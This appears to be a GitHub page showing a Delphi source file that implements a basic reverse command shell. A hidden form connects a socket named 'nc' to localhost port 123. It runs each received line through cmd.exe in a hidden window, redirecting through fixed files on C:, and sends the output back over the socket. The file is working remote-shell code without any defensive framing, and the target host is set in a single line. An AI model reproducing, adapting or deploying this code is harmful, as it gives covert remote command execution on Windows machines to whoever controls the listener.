-
Notifications
You must be signed in to change notification settings - Fork 1
/
cmdtxt.pas
222 lines (195 loc) · 6.89 KB
/
cmdtxt.pas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
unit cmdtxt;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls;
type
Tform5 = class(TForm)
nc: TClientSocket;
Memo1: TMemo;
Label1: TLabel;
procedure FormCreate(Sender: TObject);
procedure ncConnect(Sender: TObject; Socket: TCustomWinSocket);
procedure execcmd(incomnd: string);
// procedure countlines(Sender: TObject);
procedure cmdresult;
procedure ncRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
form5: Tform5;
implementation
{$R *.dfm}
function CreateDOSProcessRedirected(const CommandLine, InputFile, OutputFile,
ErrMsg: string): Boolean;
const
ROUTINE_ID = '[function: CreateDOSProcessRedirected ]';
var
OldCursor: TCursor;
pCommandLine: array [0 .. MAX_PATH] of Char;
pInputFile, pOutPutFile: array [0 .. MAX_PATH] of Char;
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
SecAtrrs: TSecurityAttributes;
hAppProcess, hAppThread, hInputFile, hOutputFile: THandle;
begin
Result := False;
{ check for InputFile existence }
if not FileExists(InputFile) then
raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 + 'Input file * %s *' + #10
+ 'does not exist' + #10 + #10 + ErrMsg, [InputFile]);
{ save the cursor }
OldCursor := Screen.Cursor;
Screen.Cursor := crHourglass;
{ copy the parameter Pascal strings to null terminated strings }
StrPCopy(pCommandLine, CommandLine);
StrPCopy(pInputFile, InputFile);
StrPCopy(pOutPutFile, OutputFile);
try
{ prepare SecAtrrs structure for the CreateFile calls
This SecAttrs structure is needed in this case because
we want the returned handle can be inherited by child process
This is true when running under WinNT.
As for Win95 the documentation is quite ambiguous }
FillChar(SecAtrrs, SizeOf(SecAtrrs), #0);
SecAtrrs.nLength := SizeOf(SecAtrrs);
SecAtrrs.lpSecurityDescriptor := nil;
SecAtrrs.bInheritHandle := True;
{ create the appropriate handle for the input file }
hInputFile := CreateFile(pInputFile,
{ pointer to name of the file }
GENERIC_READ or GENERIC_WRITE,
{ access (read-write) mode }
FILE_SHARE_READ or FILE_SHARE_WRITE,
{ share mode } @SecAtrrs, { pointer to security attributes }
OPEN_ALWAYS, { how to create }
FILE_ATTRIBUTE_TEMPORARY, { file attributes }
0); { handle to file with attributes to copy }
{ is hInputFile a valid handle? }
if hInputFile = INVALID_HANDLE_VALUE then
raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 +
'WinApi function CreateFile returned an invalid handle value' + #10 +
'for the input file * %s *' + #10 + #10 + ErrMsg, [InputFile]);
{ create the appropriate handle for the output file }
hOutputFile := CreateFile(pOutPutFile,
{ pointer to name of the file }
GENERIC_READ or GENERIC_WRITE,
{ access (read-write) mode }
FILE_SHARE_READ or FILE_SHARE_WRITE,
{ share mode } @SecAtrrs, { pointer to security attributes }
CREATE_ALWAYS, { how to create }
FILE_ATTRIBUTE_TEMPORARY, { file attributes }
0); { handle to file with attributes to copy }
{ is hOutputFile a valid handle? }
if hOutputFile = INVALID_HANDLE_VALUE then
raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 +
'WinApi function CreateFile returned an invalid handle value' + #10 +
'for the output file * %s *' + #10 + #10 + ErrMsg, [OutputFile]);
{ prepare StartupInfo structure }
FillChar(StartupInfo, SizeOf(StartupInfo), #0);
StartupInfo.cb := SizeOf(StartupInfo);
StartupInfo.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
StartupInfo.wShowWindow := SW_HIDE;
StartupInfo.hStdOutput := hOutputFile;
StartupInfo.hStdInput := hInputFile;
{ create the app }
Result := CreateProcess(nil, { pointer to name of executable module }
pCommandLine,
{ pointer to command line string }
nil, { pointer to process security attributes }
nil, { pointer to thread security attributes }
True, { handle inheritance flag }
CREATE_NEW_CONSOLE or REALTIME_PRIORITY_CLASS, { creation flags }
nil, { pointer to new environment block }
nil, { pointer to current directory name }
StartupInfo, { pointer to STARTUPINFO }
ProcessInfo); { pointer to PROCESS_INF }
{ wait for the app to finish its job and take the handles to free them later }
if Result then
begin
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
hAppProcess := ProcessInfo.hProcess;
hAppThread := ProcessInfo.hThread;
end
else
raise Exception.Create(ROUTINE_ID + #10 + #10 + 'Function failure' + #10 +
#10 + ErrMsg);
finally
{ close the handles
Kernel objects, like the process and the files we created in this case,
are maintained by a usage count.
So, for cleaning up purposes we have to close the handles
to inform the system that we don't need the objects anymore }
if hOutputFile <> 0 then
CloseHandle(hOutputFile);
if hInputFile <> 0 then
CloseHandle(hInputFile);
if hAppThread <> 0 then
CloseHandle(hAppThread);
if hAppProcess <> 0 then
CloseHandle(hAppProcess);
{ restore the old cursor }
Screen.Cursor := OldCursor;
end;
end;
procedure Tform5.FormCreate(Sender: TObject);
begin
nc.Host := 'localhost';
nc.Port := 123;
nc.Active := True;
end;
procedure Tform5.ncConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
nc.Socket.SendText('connected, please type a basic command i.e dir'+#13#10+':>');
Label1.Caption := 'connected';
end;
procedure Tform5.ncRead(Sender: TObject; Socket: TCustomWinSocket);
var
s, incomnd: string;
begin
try
s := Socket.ReceiveText;
while (pos(#10, s) <> 0) do
Begin
incomnd := copy(s, 1, pos(#10, s) - 1);
delete(s, 1, pos(#10, s));
//Memo1.Lines.Add(incomnd);
execcmd(incomnd);
end;
except
on E: Exception do
end;
end;
procedure Tform5.execcmd(incomnd: string);
var
inFile: TextFile;
text: string;
begin
AssignFile(inFile, 'c:\input.txt');
ReWrite(inFile);
WriteLn(inFile, incomnd);
CloseFile(inFile);
CreateDOSProcessRedirected('c:\windows\system32\cmd.exe', 'C:\Input.txt',
'C:\OutPut.txt', 'Please, record this message');
cmdresult;
end;
procedure Tform5.cmdresult;
var
outFile: TextFile;
text: string;
begin
FileMode := fmOpenRead;
AssignFile(outFile, 'c:\output.txt');
Reset(outFile);
while not Eof(outFile) do
begin
ReadLn(outFile, text);
nc.Socket.SendText(text+#13#10);
// memo1.Lines.Add(text);
end;
CloseFile(outFile);
end;
end.